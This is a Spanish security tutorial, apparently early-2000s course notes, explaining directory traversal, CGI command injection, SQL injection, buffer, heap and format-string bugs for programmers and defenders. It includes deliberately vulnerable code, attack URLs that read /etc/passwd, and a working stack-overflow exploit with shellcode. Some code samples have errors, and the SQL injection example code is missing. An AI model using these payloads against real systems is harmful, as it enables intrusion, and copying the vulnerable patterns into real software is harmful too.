Seguridad Informática

Jose Ignacio Sánchez Marín
topo@rigel.deusto.es
Gorka Gorrotxategi Zurimendi
zgor@int80h.net
Pablo Garaizar Sagarminaga
txipinet@txipinet.com

1.- Introducción

Veamos una serie de casos para ver cómo está el mundo de la seguridad informática...

19 de Enero de 2001

Un intruso borra la página web de la Presidencia de Bulgaria.

25 de Enero de 2001

Denegación de servicio de las páginas web de Microsoft en los Estados Unidos y Europa.

Febrero 2001

Cientos de empresas austríacas sufrieron robos de datos que permitieron a los crackers hacer llamadas telefónicas a lugares de todo el mundo, a cuenta de dichas empresas, por supuesto.

4 de Febrero de 2001

Los sistemas del Foro Económico Internacional, reunido en Davos, fue invadido por intrusos. Consiguieron información altamente confidencial y con el número de las tarjetas de crédito de los más altos mandatarios mundiales.

9 de Marzo de 2001

Crackers rusos y ucranianosconsiguieron cerca de un millón de números de tarjetas de crédito robadas de las bases de datos de bancos norteamericanos y empresas de comercio electrónico por Internet.

Abril de 2001

Durante la crisis desatada por el avión-espía norteamericano, hackers chinos paralizaron por lo menos veinte sitios web, entre ellos el de la Casa Blanca.

24 de Junio de 2001

El virus CodeRed ya ha producido daños por un valor estimado en 1.200 millones de dolares.

14 de Octubre de 2001

Tras el atentado a las Torres Gemelas, hackers iraníes mantienen paralizada buena parte de la red informática que brinda servicios a General Electric.

21 de Noviembre de 2001

En los EE.UU. atacantes desconocidos entraron en el sitio Web de Playboy. Consiguieron tener acceso a los datos de los usuarios, incluyendo los números de las tarjetas de crédito.

¿Qué va a pasar en el futuro? ¿Seguiremos siendo carne de Wizards de Instalación (Aceptar, Aceptar)? ¿Hacen falta más datos para tener una concienciación real con la Seguridad Informática?

Escenario típico:

"¿Quién va a querer atacerme, si no tengo nada importante?"

Es un error este plateamiento: todo sistema es extremadamente valioso como plataforma de ataque contra otro sistema verdaderamente importante. (Ejemplo: hacker utiliza el ordenador de Juan Pérez para entrar al Ministerio de Fomento).

Creo que llegados a este punto todos deberíamos tener un compromiso serio con la Seguridad Informática.

2.- Seguridad Física

En muchos textos y manuales sobre Seguridad Informática se habla de la seguridad física concerniente a la ubicación de los servidores, los accesos físicos a las máquinas, etc. Aunque es seguridad relacionada con la informática, esas medidas son más propias de un ingeniero o arquitecto que diseñe edificios seguros, que de un especialista en Seguridad Informática. (Ejemplo: poco tiene que ver con la protección informática el hecho de que se haya decidido ubicar el servidor de la empresa en la sala en la que toman café los empleados en sus descansos. Un ordenador es un componente físico y debería estar sujeto a las mismas medidas de seguridad que el resto de materiales valiosos de una organización).

Como ejemplos de la posibilidades en cuanto a intrusismo a nivel físico, analizaremos dos aspectos:

- El cifrado de datos almacenados en soporte fisico (pgpdisk, FSs esteganográficos).
- Captura de emisiones residuales de nuestros equipos (tempest).

A pesar de todas las trabas que podamos poner para que un soporte no sea físicamente suplantado o robado, la realidad es que muchos ataques se producen mediante la manipulación física de los soportes de los datos. (Ejemplo: montar un disco duro desde un Sistema Operativo al que tenemos acceso total (trinux)). Para evitar este tipo de ataque es recomendable cifrar los datos. Una opción comercial para hacer esto es usar PGPDisk, integrada en la Suite PGP de NAI. Para UNIX tenemos CFS y TCFS (Cyphered File System y Transparent Cyphered File System), que ofrecen una encriptación fuerte mediante el empleo de

llaves distribuídas (cada usuario tiene una parte de la llave, y se comprueba que su parte está dentro de la llave de protección).

El caso más espectacular en cuanto a cifrado de datos físicos es el de los sistemas de ficheros esteganográficos, como el StegFS. En estos sistemas de protección existen varias claves que permiten el acceso a varios niveles de protección dentro del sistema de ficheros. Alguien que consiga una de las claves, nunca tendrá la certeza de que está accediendo a todo el sistemas de ficheros o sólo a una parte. De esta manera, aunque alguien fuerce a otro a proporcionarle la clave del sistema (Ejemplo: escenario policial), nunca podrá saber si a lo que está accediendo es a una parte del sistema o a todo.

Existen varias implementaciones más extrañas de sistemas de ficheros esteganográficos, como el ScreamFS, que guarda información confidencial en los bits menos significativos de ficheros de audio.

Otro punto que puede sorprender a quien no esté habituado a sistemas seguros es el hecho de que las radiaciones que emiten todos los dispositivos electrónicos, pueden capturarse y analizarse.

Un programa de ejemplo muy impactante es el Tempest. Mediante cambios en la frecuencia del monitor y utilizando imágenes extrañas, es capaz de emitir música que puede ser captada por una radio AM sencilla. Nosotros hemos hecho la prueba en nuestros ordenadores y el resultado es sorprendente.

Tempest es sólo una prueba de concepto, pero demuestra que lo que muestran nuestros monitores puede ser captado sin mucho esfuerzo por un receptor potente. Tempest permite incluso reproducir MP3s desde el monitor, pero existen además dispositivos capaces de captar las corrientes de 5 voltios que discurren por el cable del teclado, u otros dispositivos.

Quizá en estos momentos el nivel de paranoia esté creciendo y a más de uno se le está ocurriendo forrar de plomo su habitación, conforme vayamos avanzando en los contenidos de este texto veremos como toda protección es poca.

3.- Seguridad en el SO

Una vez analizada la seguridad física, conviene detenerse en examinar el grado de seguridad de nuestros SOs, y los factores que influyen en la pérdida de su seguridad:

3.1.- Fallos en la configuración

Muchos de los ataques se producen por fallos o despistes en las configuraciones, a pesar de usar SOs o sistemas inherentemente seguros.

Los fallos en la configuración del sistema pueden deberse a dos razones:

- configuraciones por defecto inseguras (no hay más que mirar Bugtraq). Ejemplos característicos de este tipo de errores podrían ser:
  - listado de directorios en httpd's (IIS o versiones antiguas de Apache)
  - passwords por defecto (ejemplo: routers de telefónica: adminttd/adminttd)
- por negligencia del administrador, como por ejemplo:
  - no preocuparse de borrar los ficheros de backup que crean editores como emacs o ultraedit por

defecto. Normalmente no se aplican las restricciones o ejecuciones a esos ficheros y son altamente vulnerables (Ejemplo: login.asp.bak).

- Un administador prefiere una configuración poco restrictiva y que funcione, que una configuración muy restrictiva y afinada, que pueda provocarle discusiones con sus usuarios.

3.2.- Ingenieria social

Otro factor que influye en la seguridad de un SO es el grado de permeabilidad de sus usuarios medios a la llamada "Ingeniería Social".

La Ingeniería Social (literalmente traducido del inglés Social Engineering) se encuentran comprendidas todas aquellas conductas útiles para conseguir información de las personas del entorno de un ordenador. Se tratan de engaños, cuyo método puede tener un caracter externo o interno al propio sistem informático. (Ejemplos: externo: entrar en el edificio como periodistas, aprovechando la vanidad de la gente; interno: aprovechar la confianza del usuario, como por ejemplo el gusano "Kournikova" o el "I Love You").

Estos ataques no tienen dificultad técnica, sino grandes dosis de picaresca. El caso cercano más sonado es el de la redirección del dominio "www.guardiacivil.org" a una página gay del Norte de Europa.

3.3.- Caracteristicas de un SO seguro

Existen diferentes Sistemas Operativos con compromisos variables con la seguridad. Windows 95/98/Me no fue diseñado para ser un Sistema Operativo orientado a la red. Los añadidos que ha sufrido para hacer posible su interconexión, han ido acompañados de un penoso historial de seguridad. Linux, al igual que la mayoría de los UNIX, fue concebido para facilitar al interoperabilidad entre múltiples usuarios y múltiples máquinas. No es un sistema enfocado en la seguridad, por lo que las afirmaciones que proclaman que Linux es inherentemente seguro no son ciertas. Linux "tiene la capacidad de ser extremadamente seguro", pero muchas veces esa capacidad no se desarrolla. Otros sistemas operativos como OpenBSD, nacieron con la seguridad con objetivo fundamental en su diseño, por lo que su empleo garantiza un nivel de seguridad muy superior a los anteriores.

Hoy en día es ridículo montar un sistema en un SO sin un diseño orientado a la protección de datos y memoria en un entorno multiusuario real, y carente de funcionalidades de red seguras nativas. (Ejemplo: servidor web en Windows'98).

3.4.- Contraseñas en un SO

Es necesario definir una política de contraseñas adecuada para nuestros sistemas. Si no lo hacemos, de nada servirá toda la protección que añadamos al sistema de contraseñas. (Ejemplo: usar RSA de 8192 bits y usuario "juan", contraseña "juan"). Dicha política deberá centrarse en varios aspectos:

- longitud mínima de la clave.
- complejidad mínima de la clave.
- algoritmo(s) utilizado(s).
- política de caducidad de las claves (cada cuánto tiempo, cuántas contraseñas se recordarán, etc.).

Existen diferentes algortimos para almacenar las claves. Lo fundamental es que se traten de algoritmos "only-one-way", es decir, que no sean reversibles, y que sean resistentes al criptoanálisis incremental y diferencial. La potencia de la protección está en función del tiempo empleado para comprobar una clave, y para comprobar todas las posibles claves (éste a su vez en función del algoritmos y la clave empleados).

Algunos SOs y administradores de sistemas utilizan las mismas herramientas para conseguir contraseñas que emplean los intrusos, para realizar auditorías de seguridad en cuanto a las características de las claves de los usuarios del sistema. Los programas que se emplean para conseguir contraseñas se denominan "crackers" y suelen emplear fuerza bruta (tanto mediante un enfoque incremental, como por un ataque mediante diccionario) y algunas técnicas heurísticas bastante elementales (Ejemplo: contraseñas en WinNT, 7 + 7).

4.- Técnicas de ataque

En este apartado veremos algunas de las técnicas utilizadas por los hackers y crackers para atacar sistemas. Unas técnicas que no solo debieran ser conocidas por aquel que pretende atacar un sistema sino también por aquel que pretende defenderlo. Con defensor de un sistema no solo se ha de entender a un administrador de sistemas o un consultor de seguridad sino también a un programador. La mayoría de las técnicas que veremos están basadas en fallos cometidos por los programadores a la hora del implementar el programa.

El administrador de un sistema será responsable de mantener unas buenas políticas de seguridad, una correcta configuración del sistema y de mantenerlo actualizado parcheándolo periódicamente. Sin embargo un administrador de sistemas nunca podrá llegar a tener la certeza de que los programas que componen el sistema operativo del servidor así como programas adicionales, estén libres de bugs. Lo único que el administrador podrá hacer al respecto será mirar todos los días las listas de distribución de seguridad(bugtraq) atento para aplicar los parches tan pronto sean publicados. El programador es por tanto el responsable de escribir código seguro evitando que su programa sea vulnerable y para ello es de vital importancia que este familiarizado con los distintos tipos de técnicas de ataque existentes.

4.1.- Objetivos y Fundamentos

El objetivo de todo ataque informático, entendiendo como ataque hackear un sistema, es utilizar alguna vulnerabilidad existente en un programa para lograr llevar a cabo una acción que en un principio no se nos estaba permitida. Con esta definición se esta dejando fuera a cualquier tipo de DoS o derivados (los DoS serán comentados en otro apartado). En la mayoría de los casos el objetivo será lograr llevar a cabo una acción bajo un nivel de privilegio superior, siendo habitual en un escenario de ataque típico, la utilización de varias técnicas con el fin de escalar de un nivel de privilegio a otro hasta llegar al nivel de superusuario(root).

Las técnicas de ataque que veremos no están restringidas a ningún sistema operativo especifico y pueden ser aplicadas desde en un Solaris hasta en un Windows (a excepción de en los format strings como comentaremos posteriormente). Casi todas las técnicas de ataque se fundamentan en lo mismo, una falta de validación de los datos introducidos por el usuario. Es muy importante que como programadores nunca nos fiemos de los datos introducidos por el usuario. Cuando hablo de datos introducidos por el usuario me refiero a cualquier dato suministrado por el usuario que sea susceptible de ser procesado por nuestro programa. Datos introducidos por el usuario podrían ser los datos introducidos por consola en las lecturas

del programa, datos pasados en el arranque del programa por parámetros, datos introducidos a un programa web mediante métodos GET o POST, datos leídos por un socket etc Incluso yendo mas allá, hay otros datos susceptibles de ser procesador por ciertos programas como podrían ser paquetes modificados inyectados en la red o variables de entorno. Estos datos suelen pasar desapercibidos al ojo critico del programador y son fuente de muchas vulnerabilidades inesperadas. Un ejemplo de esto ultimo podría ser el buffer overflow encontrado en la xlib o el del TCPDUMP.

Llegado a este punto quizás alguien se pregunte que es lo que puede hacer el usuario al introducir los datos. Básicamente pueden pasar 2 cosas.

- Introducir mas datos de los que esperamos.
- Introducir datos no esperados: como caracteres extraños o valores anormales.

A medida que vayamos viendo los distintos tipos de ataques veremos en que se fundamenta cada uno.

Vulnerabilidades en los CGIs

Las vulnerabilidades en los CGI nacieron con el boom de la web dinámica. Los CGI bugs se hicieron tan famosos que llegaron incluso a ganar en numero de incidencias a los clásicos buffer overflows (que veremos posteriormente). A pesar de que el titulo del apartado es "vulnerabilidades den los CGIs" todo lo que veremos es aplicable a los .asp o .php utilizados hoy en día en la programación web dinámica.

Una de las razones por las cuales las vulnerabilidades en los CGIs están tan extendidas es el hecho de que la mayoría de los CGIs, phps o asps que existen en Internet han sido programados por usuarios para dar dinamismo a sus paginas pero sin preocuparse de las implicaciones de seguridad. El usuario que programa un cgi y lo sube a su web, a menudo no es consciente de que un fallo de seguridad en ese cgi puede comprometer todo el servidor web que hostea su pagina. Los administradores de servidores web que ofrecen servicios de CGIs a sus clientes, no pueden hacer mucho para evitarlo.

Directory Transversal Attack

Este fallo es muy común y simple. Consiste en realizar un descenso de directorios usando la referencia ../ al directorio padre.

Un ejemplo de esto seria el siguiente:

```
<html>
<head>PHP para mostrar ficheros de texto</head>
<body>
<?
if ($fp=fopen($filename,"r")){
        while(!feof($fp)){
                $contenido=fgets($fp,500);
                print("<p>" . $contenido);
        }
}else{
        print("Error al abrir el fichero");
}
```

```
?>
</body>
</html>
```

Contenido del programa show_text_file.php

Este programa de ejemplo esta escrito en PHP y simplemente lee el fichero especificado y lo muestra, tal y como vemos en el siguiente escenario:

Ejemplo:

```
www.victima.com/cgi-bin/show_text_file.php?filename=introduccion.txt
```

Salida:

```
PHP para mostrar ficheros de texto

   Esto es un ejemplo :)
   esta es la línea 1
   esta es la línea 2
   esta es la línea 3
```

Veamos ahora lo que pasa si usamos el escalado de directorios:

Ejemplo:

```
www.victima.com/cgi-bin/show_text_file?filename=../../../../../etc/passwd
```

Salida:

```
PHP para mostrar ficheros de texto

   root:x:0:0:root:/root:/bin/bash
   daemon:x:1:1:daemon:/usr/sbin:/bin/sh
   bin:x:2:2:bin:/bin:/bin/sh
   sys:x:3:3:sys:/dev:/bin/sh
   sync:x:4:100:sync:/bin:/bin/sync
   games:x:5:100:games:/usr/games:/bin/sh
(... etc)
```

En este caso se nos ha mostrado el contenido del directorio de passwords ubicado en /etc. Si el fichero no estaba shadowed entonces simplemente habremos de utilizar el john de ripper o otro crackeador similar para conseguir un password de alguna de las cuentas del sistema y conectarnos por ssh o telnet. Este bug de escalado de directorios tal vez parezca obvio y difícilmente cometible por un programador. Todo lo contrario. Si utilizamos la búsqueda avanzada de google y buscamos webs que contengan en su URL palabras como ?filename= nos aparecerán cantidad de webs de las cuales un gran numero son vulnerables a este ataque.

Por ultimo y para resaltar la importancia del fallo simplemente comentar que el bug del Unicode del IIS de Microsoft esta basado en el. Los chicos de Microsoft verificaron correctamente la presencia de ../ pero no verificaron su equivalente Unicode. Por eso si en vez de ../ se utiliza su equivalente Unicode se consigue saltar la verificación inicial y luego el IIS lo decodifica a ../ y se obtiene el efecto deseado. Los gusanos RedCode o Nimda dan buena fe de ello ;)

Command Execution Attack

Este bug que consiste en la ejecución de comandos del sistema, se produce cuando datos sin validar introducidos por el usuario conforman parte de una llamada del programa a una subshell o una pipe. Ciertos tipos de caracteres introducidos pueden provocar la ejecución de un segundo comando por parte del programa vulnerable. Es bastante común por parte de los programadores el intentar ahorrar esfuerzo como sea. A veces el programador llama a algún comando del sistema para que realice la acción necesaria en vez de implementarla con código propio.

Vemos el siguiente ejemplo:

```
#!/usr/bin/perl
print "Content-type:text/html\n\n";
print <<EndOfHTML;
<html><head><title>Print Environment</title></head>
<body>
EndOfHTML
$HOST=$ENV{"QUERY_STRING"};
$HOST=~ s/%(..)/pack("c",hex($1))/ge;
print "Resolviendo Dominio $HOST";
system("/usr/bin/nslookup $HOST");
print "<br></body></html>";
```

Este programa en perl se encarga de resolver el dominio introducido por un usuario en un formulario web. Para ello utiliza el comando nslookup del sistema operativo. En es punto es donde reside el fallo. No se ha efectuado ninguna validación sobre los datos introducidos por el usuario en el formulario y enviados por GET al CGI. En este caso vemos que como parámetro en la llamada al nslookup están los datos introducidos por el usuario. El usuario como atacante podría introducir un carácter que fuera interpretado de una forma especial por la shell.

Ejemplos de tales caracteres son : ; (separa 2 comandos distintos) | (pipe) &, etc.

Para exploitear este ejemplo utilizaremos ;. En UNIX el ; sirve para ejecutar 2 comandos distintos en una misma línea. Por ejemplo echo hola; echo mundo sacaría por pantalla hola mundo.

Veamos que sucede si introducimos un ;

```
http://victima.com/cgi-bin/nslookup.cgi?falsodominio;/usr/bin/id
```

Salida:

```
Resolviendo Dominio falsodominio;/usr/bin/idServer: ganimedes Address:
172.26.0.5#53 ** server can't find falsodominio: NXDOMAIN
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Podemos ver como además de la ejecución del nslookup hemos provocado la ejecución del comando /usr/bin/id que nos muestra el identificativo del usuario actual. En este caso vemos como se nos muestra el usuario www-data que es usuario bajo el que corre el servidor web.

En este punto me gustaría comentar que en UNIX así como en cualquier S.O. multiusuario siempre tenemos que intentar hacer las cosas con el mínimo nivel de privilegio posible. En el caso de un servidor web deberemos correrlo como un usuario que no tenga mas privilegios que los justamente necesarios para el funcionamiento del servidor web. Si el servidor web hubiera corrido bajo el usuario root y existiera un fallo de seguridad el atacante obtendría directamente privilegios de superusuario.

Volviendo con nuestro ejemplo, si quisiéramos por ejemplo listar el archivo de passwords del sistema haríamos:

```
http://victima.com/cgi-bin/nslookup.cgi?falsodominio;/bin/cat%20/etc/passwd
```

Con el siguiente resultado:

```
Resolviendo Dominio falsodominio;/bin/cat /etc/passwdServer: ganimedes
Address: 172.26.0.5#53 ** server can't find falsodominio: NXDOMAIN
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
games:x:5:100:games:/usr/games:/bin/sh
(... etc etc)
```

Este tipo de bugs en los cgi son extremadamente comunes, precisamente en el momento de escribir estas líneas ha sido publicado en bugtraq un fallo similar en el programa display.cgi. Quizás el fallo de command execution mas conocido de la historia es el del phf, publicado en 1996 miles de servidores eran vulnerables e incluso hoy en día aun se pueden seguir encontrando. (Ejemplo de vulnerabilidad del phf (1996): http://host.com/cgi-bin/phf?Qalias=%0A/bin/cat%20/etc/passwd).

Soluciones: validar la entrada del usuario evitando la introducción de caracteres conflictivos como --> ; | .. / \ etc

SQL Injection Attack

Este bug surgió con el boom de las aplicaciones web que utilizan bases de datos. Se da cuando se introducen datos suministrados por el usuario como parte de una consulta SQL. Consiste en formar la ejecución de una segunda sentencia sobre la base de datos mediante la introducción del delimitador '

Veámoslo en un ejemplo. El siguiente programa realizado en ASP es el encargado de gestionar las consultas de saldo por parte de los clientes de un banco. Un cliente introduce su numero de cuenta en una aplicación web y se le informa del saldo actual.

La tabla utilizada seria:

```
TABLA_BANCO --> NUMERO CUENTA   SALDO CUENTA    PASSWORD
                55543652        500             atun
                43555543        10000           patata
                ...             ...             ...
```

El carácter o la palabra que provocan la ejecución de una segunda consulta depende en gran medida del Sistema de Gestión de Bases de Datos que se este utilizando. Así en el caso de SQL Server y Oracle ha de utilizarse una unión, y en el caso de postgresql valdría con una ; Si el atacante desconoce el nombre de la tabla y/o el nombre de sus campos puede consultar las tablas del diccionario de datos, las cuales dependen de cada SGBD. Buscando en el google encontrareis el nombre que tienen en cada SGBD.

Soluciones: validar la entrada del usuario evitando la introducción de caracteres conflictivos como --> ; | .. / \ etc

Buffer Overflows

Los buffer overflow son sin duda el ataque mas utilizado de cuantos existen. Consiste en provocar el desbordamiento de un buffer con la intención de efectuar un salto a código arbitrario. Los ataques buffer overflow tan solo se dan en lenguajes que no verifican los desbordamientos en los buffer. C es un ejemplo de ello. Java, visual basic o C# son inmunes a estos ataques porque el mismo compilador verifica que no se produzca un overflow.

Algunos llegados a este punto, se preguntaran porque C y otros lenguajes no lo verifican también. La respuesta es rapidez. C es uno de los lenguajes mas flexibles que hay en cuanto a que deja todo en manos del programador. El programador tiene control total y en ningún momento el compilador va a tomar acciones por su cuenta, como ocurre con otros lenguajes como visual basic. Este control total por parte del programador unido al hecho de que el compilador no pierde tiempo en realizar acciones de protección, son la clave para que C sea uno de los lenguajes que mas alto rendimiento ofrece. Por eso cualquier aplicación en la que la eficiencia sea critica, esta escrita en C. Kernel del sistema operativo, servidores de información, SGBD son algunos ejemplos de aplicaciones que están escritas en C. Se podría decir que casi todas las aplicaciones criticas están escritas en C. Por ello no es de extrañar que el ataque buffer overflow sea tan temido y eficaz.

Uno de los primeros ataques buffer overflow conocidos fue el gusano de Morris. En 1988, Robert Morris, un estudiante de informática de EEUU, programo un Programa experimental que se auto replicaba infectando servidores de Internet. Fue el primer gusano de la historia. Para replicarse, entre otros, utilizaba un buffer overflow que existía en el demonio fingerd de casi todos los UNIX de la época. Los efectos del gusano de Morris fueron devastadores debido a un pequeño fallo al programarlo. El gusano estaba programado para infectar solo en un 5% de las veces, pero a Morris se le fue la olla poniendo la condición y cuando lo soltó desde el MIT, vio que el gusano infectaba un 95% de las veces. La propagacion de la infección fue brutal, Morris al verlo se acojonó y mando un email a Harvard avisando de la creciente infección y con instrucciones de como pararla. Sin embargo los servidores de correo estaban tan colapsados por la acción del virus que el email nunca llego. Casi un 60% de los servidores existentes tuvieron que ser apagados para desinfectar el virus, durante 1 día Internet se fue abajo. Obviamente Morris fue detenido y condenado a una multa de nosecuantos dólares (muchos) y a nosecuantas horas de servicios

sociales. Unos meses después fue contratado por una multinacional y actualmente trabaja en temas relacionados con la seguridad informática.

Veamos ahora un ejemplo de un programa vulnerable a buffer overflow.

Ejemplo:

```
void saluda(void){
                char buffer[100];
                printf("Dame tu nombre: ");
                gets(buffer);           <--- PELIGRO!!!
                printf("\nHola %s!\n",buffer);
        }
```

Este programa es muy simple de entender y seguro que muchos de vosotros habréis hecho algo similar en algún momento. Se declara un buffer de 100 bytes y se lee una línea del teclado almacenándola en ese buffer. El peligro de esto es que la función gets lee datos hasta llegar a un retorno de carro \n, así que no podremos tener la certeza de que el usuario nos vaya a introducir menos de 100 caracteres.

Para entender la mecánica de la técnica de buffer overflow es necesario que conozcamos como evoluciona la pila durante las llamadas y retornos de las funciones. Cuando se produce una llamada a una función el compilador genera el código necesario para guardar el contexto actual de la función (variables locales y dirección de retorno) con el fin de retomar el punto donde se quedo cuando la función llamada retorne. El primer dato a tener en cuenta es que en las plataformas intel, motorola, sparc y mips la pila es decreciente. Esto es, va creciendo desde posiciones altas de memoria a posiciones bajas. Como consecuencia de esto, veremos la pila justo al revés de como nos la han mostrado hasta ahora.

Veamos la evolución de la pila en la llamada a una función con el siguiente ejemplo:

```
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
}

void main() {
  function(1,2,3);
}
```

Cada vez que una función es llamada el compilador genera un registro de activación en la pila donde almacena el valor de retorno, los parámetros de llamada a esa función, sus variables locales, un puntero al registro de activación anterior y la dirección de retorno. Cuando se produce el retorno de la función el compilador genera código para saltar a punto desde donde la función fue llamada, leer el valor de retorno y eliminar el registro de activación.

El registro de activación para el ejemplo anterior seria el siguiente.

Figura 1. Registro de Activación.

Cuando se produce la llamada el compilador reserva espacio en la pila para los parámetros de entrada de la función, en orden inverso. Luego empuja a la pila un puntero a la dirección actual (EIP) y un puntero al registro de activación actual. Por ultimo reserva espacio en la pila para las variables locales.

Veamos ahora un ejemplo vulnerable:

```
void saluda(char *s){
        char buffer[100];
        strcpy(buffer,s);
        printf("\nHola %s!\n",buffer);
}

int main(int argc, char **argv){
        if (argc!=2) exit(0);
        saluda(argv[1]);
}
```

Este ejemplo es similar al presentado antes con la salvedad de que los datos son leídos como parámetro de la línea de comandos en vez de por consola. Lo que el programa hace es pasar el puntero a los datos del usuario a la función saluda, la cual copia los datos a un buffer de 100 bytes y imprime un saludo. Al igual que en el primer ejemplo el fallo viene de que el usuario o atacante podría introducirnos mas de 100 caracteres. Veamos que pasa.

En el caso de nuestra función vulnerable el registro de activación tendría la siguiente forma:

Figura 2. Registro de Activación.

Según se van rellenando datos el buffer se va llenando de abajo a arriba. Llegado al final del buffer, si seguimos introduciendo datos sobrescribiremos el sfp y despues el ret. Si introducimos aun mas datos podríamos llegar a superar el espacio de memoria asignado a nuestro proceso y provocar el típico "segmentation fault" de los unix o el típico pantallazo de "Error de protección de memoria" en los Windows.

¿Qué es lo interesante de todo esto? -> ¡¡Podemos sobrescribir la dirección de retorno!! Esto implica que podemos saltar a cualquier parte del espacio de direcciones de memoria asignados a nuestro proceso. Podríamos entonces saltar a una parte del programa a la que no deberíamos poder tener acceso. Sin embargo para ello tendríamos que tener el programa en si y casi nunca se puede hacer nada interesante así.

Lo realmente interesante seria que pudiéramos saltar a un trozo de código introducido por nosotros. Hasta ahora habíamos hablado de meter basura al buffer hasta overflodearlo y sobrescribir la dirección de retorno. Sin embargo no tenemos porque meter basura podríamos meter un trozo de código binario y luego modificar ret para saltar a nuestro propio código inyectado. Es decir hacer que ret apunte al buffer!

A ese código que hemos inyectado se le denomina shellcode. El objetivo de una shellcode es realizar alguna acción que nos permita tomar el control del sistema, podríamos utilizar una shellcode que expanda una shell, añada un usuario, abra un puerto etc, dependiendo de si el programa vulnerable era un servidor web, un programa de consola etc El abanico de posibilidades con las shellcodes esta limitado únicamente por el tamaño que tengamos disponible en el buffer menos la cantidad de nops que le pongamos. Los nops no son mas que un conjunto de instrucciones NOP que simplemente no hacen nada, se suelen inyectar en el buffer antes que la shellcode con el fin de tener mas margen de error al calcular el salto (valor que le daremos a RET) a nuestra shellcode.

Existen 2 tipos de buffer overflows, los realizados remotamente y los realizados localmente:

- Buffer overflows remotos: el overflow se produce en una maquina remota de la cual no tenemos mas control que el justo para producir el overflow. Ejemplos de overflows remotos seria un overflow en un servidor web o un servidor de correo.
- Buffer overflow locales: el overflow se produce en un programa local. El atacante tiene una shell en el sistema y el programa vulnerable corre bajo un usuario distinto (suid). Este caso es mas favorable para el atacante en el sentido de que puede usar variables de entorno (las cuales están también en la pila del programa) para ubicar su shellcode en caso de que no quepa en el buffer. De esta manera el atacante podrá meter un mayor numero de NOPs y tener así mayor margen de error en el calculo del salto.

Vemos por ultimo un ejemplo de exploit para conseguir hackear el programa vulnerable anterior:

```
#include <stdlib.h>
#define DEFAULT_OFFSET                  0
#define DEFAULT_BUFFER_SIZE             104
#define VTAM                            50
#define NOP                             0x90

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
```

```
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/tmp/sh";

        unsigned long get_sp(void) {
                __asm__("movl %esp,%eax");
        }

int main(int argc, char *argv[]) {
        char *buff, *ptr;
        long *addr_ptr, addr;
        int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
        int i;

        if (argc <=1) {
                printf("Dame nombre programa vulnerable\n");
                exit(0);
        }
        if (argc > 2) bsize  = atoi(argv[2]);
        if (argc > 3) offset = atoi(argv[3]);
        if (!(buff = malloc(bsize))) {
                printf("Can't allocate memory.\n");
                exit(0);
        }

        addr = get_sp() - offset;

        ptr = buff;
        addr_ptr = (long *) ptr;
        for (i = 0; i <bsize+VTAM; i+=4)
                *(addr_ptr++) = addr;
        *(ptr+bsize+VTAM)=0;

        for (i = 0; i < bsize - strlen(shellcode) - 1; i++)
                *(ptr++) = NOP;

        for (i = 0; i < strlen(shellcode); i++)
                *(ptr++) = shellcode[i];
        execl("./vulnerable","vulnerable",buff,0);
}
```

Con este sencillo exploit un atacante podria conseguir entrar a un sistema utilizando un buffer overflow.

Soluciones: básicamente existen de 2 tipos

- Modificaciones en el kernel del S.O.: por ejemplo hacer que el segmento de pila (stack) no sea ejecutable.
- Modificaciones en el compilador: como por ejemplo añadir un nuevo campo entre RET y las variables locales al cual se le de un valor aleatorio en la creación del registro de activación y se verifique que sigue conservando el valor en el retorno de la función.

La solución preferible es tomar conciencia del problema y como programadores escribir código seguro.

Heap Overflows

Al igual que los buffer overflows se basan en el overflow de un buffer, con la diferencia de que en el caso de los heap overflows, el objetivo no es sobrescribir la dirección de retorno de la función sino modificar otras variables presentes en el heap o la pila.

Dado que el objetivo no es modificar la dirección de retorno este ataque no esta limitado solamente a buffers ubicados en la pila sino también en el heap (área de memoria dinámicamente reservada por la aplicación). El objetivo por tanto será modificar otras variables situadas "detrás" del buffer del cual hacemos overflow, con la intención de modificar la lógica de funcionamiento del programa en nuestro favor.

Ejemplo:

```
int main(int argc, char **argv)
{
   FILE *tmpfd;
   char tmpfile[100]="/tmp/f.tmp";
   char buf2[100];
   char buf3[25];
   printf("Dime tu nombre: ");
   fgets(buf2,200,stdin);
   printf("\nHola %s!\n",buf2);
   printf("Dame una linea para meter en %s: ", tmpfile);
   fgets(buf3,25,stdin);

   tmpfd = fopen(tmpfile, "w");
   fputs(buf, tmpfd);
   fclose(tmpfd);
}
```

Originariamente el fichero que se abre para escritura es /tmp/f.tmp, sin embargo dado que podemos efectuar un overflow sobre buf2, podemos sobrescribir /tmp/temporal.tmp por /etc/passwd. De esta manera si el programa vulnerable tiene privilegios de root conseguiremos modificar el fichero de passwords del sistema y poder por ejemplo añadir un usuario sin password y con privilegios de root.

Solución: dado que el objetivo ya no es sobrescribir la dirección de retorno, no hay una solución mágica. La única solución seria escribir como programadores código seguro.

Format String Bugs

Esta técnica es relativamente nueva. Fue presentada en Septiembre de 1999. El problema esta en las llamadas a funciones con un numero variable de argumentos. En dichas funciones el primer argumento es llamado el "format string" el cual define el tipo y numero del resto de argumentos restantes. Cada uno de estos argumentos restantes es empujado a la pila en la llamada y la función sabe la cantidad y el tipo de argumentos que ha de desapilar de la pila mirando el format string.

Ejemplo:

```
printf("Hola %s!\n",nombreUsuario);
```

En este caso el format string seria "Hola %s!\n". el %s indica que el primer parámetro (de los variables) será un puntero (32 bits) a una posición de memoria donde estará el string.

El problema viene cuando datos introducidos por el usuario son los que forman el format string.

Ejemplo:

```
int funcion(void){
        char buffer[1024];
        fgets(buffer,1000,stdin);
        printf(buffer);
}
```

En este caso simplemente se lee la entrada del usuario y se imprime luego por pantalla con printf. Justo ahí es donde reside el fallo, se tenia que haber usado printf("%s",buffer) en vez de printf(buffer) ya que de esta ultima forma los datos del usuario son el format string. Si en este ejemplo introducimos hola %u mundo, estaremos provocando que %u sea sustituido por los 32 primeros bits de la pila (stack). Con esta técnica podemos leer todo el contenido de la pila y situar ESP en la posición que queramos.

